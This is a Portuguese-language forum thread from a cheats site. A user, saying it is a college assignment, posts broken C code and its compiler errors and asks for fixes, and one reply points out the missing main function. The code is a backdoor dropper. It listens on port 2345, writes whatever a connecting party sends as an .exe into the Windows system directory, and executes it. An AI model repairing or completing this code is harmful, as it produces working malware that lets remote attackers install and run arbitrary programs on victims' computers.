Ir para conteúdo
🥇 [Exclusivo] Seja um Membro VIP EXTREME! ×
  • Quem está por aqui   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.

Posts Recomendados

Queria ajuda vcs para corrigir um trabalho da faculdade... O professor mandou que corrigisemos um codigo fonte. mas nao consigo soulucionar alguns erros.. entao vou postar o codigo e os erros.

 

source:

#include <windows.h>

#include <shellapi.h>

#include <stdio.h>

#include <stdlib.h>

#include <winsock.h>

#pragma comment (lib,"ws2_32.lib")

#define BACKLOG 5

 

#define PORT 2345

 

void retrieve_file(int sock)

{

int i, j;

HANDLE hFile=NULL;

char path[MAX_PATH], buf[1024];

DWORD dw;

 

srand(GetTickCount());

char random[MAX_PATH];

 

 

char fslash[260]="//";

GetSystemDirectoryW(path,sizeof(path));

strcat(path,fslash);

strcat(path,random);

strcat(path,".exe");

 

 

 

 

hFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL, NULL);

if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {

hFile = NULL;

goto drop;

}

 

for (i=0;;) {

j = recv(sock, buf, sizeof(buf), 0);

if (j <= 0) break;

i += j;

WriteFile(hFile, buf, j, &dw, 0);

 

}

CloseHandle(hFile);

ShellExecute(NULL,"open",path,NULL,NULL,SW_SHOW);

closesocket(sock);

return;

 

drop: closesocket(sock);

if (hFile != NULL)

return;

}

 

DWORD _stdcall listening(LPVOID pv)

 

{

 

int sin_size;

int socket1;

int socket_accept;

struct sockaddr_in server;

struct sockaddr_in client;

socket1 = socket(AF_INET, SOCK_STREAM, 0);

server.sin_family = AF_INET;

server.sin_port = htons(PORT);

server.sin_addr.s_addr = INADDR_ANY;

bind(socket1,(struct sockaddr *)&server,sizeof(struct sockaddr));

listen(socket1,BACKLOG);

while(1){

sin_size = sizeof(struct sockaddr_in);

socket_accept = accept(socket1, (struct sockaddr *)&client,&sin_size);

 

retrieve_file(socket_accept);

return 0;

ERROS:

source.cpp(28) : error C2143: syntax error : missing ';' before 'type'

source.cpp(28) : error C2143: syntax error : missing ';' before '['

source.cpp(31) : error C2143: syntax error : missing ';' before 'type'

source.cpp(32) : warning C4133: 'function' : incompatible types - from 'char [260]' to 'LPWSTR'

source.cpp(33) : error C2065: 'fslash' : undeclared identifier

source.cpp(33) : warning C4047: 'function' : 'const char *' differs in levels of indirection from 'int'

source.cpp(33) : warning C4024: 'strcat' : different types for formal and actual parameter 2

source.cpp(34) : error C2065: 'random' : undeclared identifier

source.cpp(34) warning C4047: 'function' : 'const char *' differs in levels of indirection from 'int'

source.cpp(34) warning C4024: 'strcat' : different types for formal and actual parameter 2

source.cpp(40) : warning C4133: 'function' : incompatible types - from 'char [260]' to 'LPCWSTR'

source.cpp(55) :warning C4133: 'function' : incompatible types - from 'char [5]' to 'LPCWSTR'

source.cpp(55) :warning C4133: 'function' : incompatible types - from 'char [260]' to 'LPCWSTR'

Link para o comentário
https://www.webcheats.com.br/topic/886005-ajuda-source-com-erros/
Compartilhar em outros sites

É necessário se cadastrar para acessar o conteúdo.

 

Troque o ???? pelo correto, porque quando você postou apareceu um smile e não consegui entender o que estava ali.

E mais uma coisa bem importante, pois o código ainda não funciona: Cade a função main?

 

É obrigatório o uso desta função:

É necessário se cadastrar para acessar o conteúdo.

Link para o comentário
https://www.webcheats.com.br/topic/886005-ajuda-source-com-erros/#findComment-4144133
Compartilhar em outros sites

Este tópico está impedido de receber novos posts.
×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.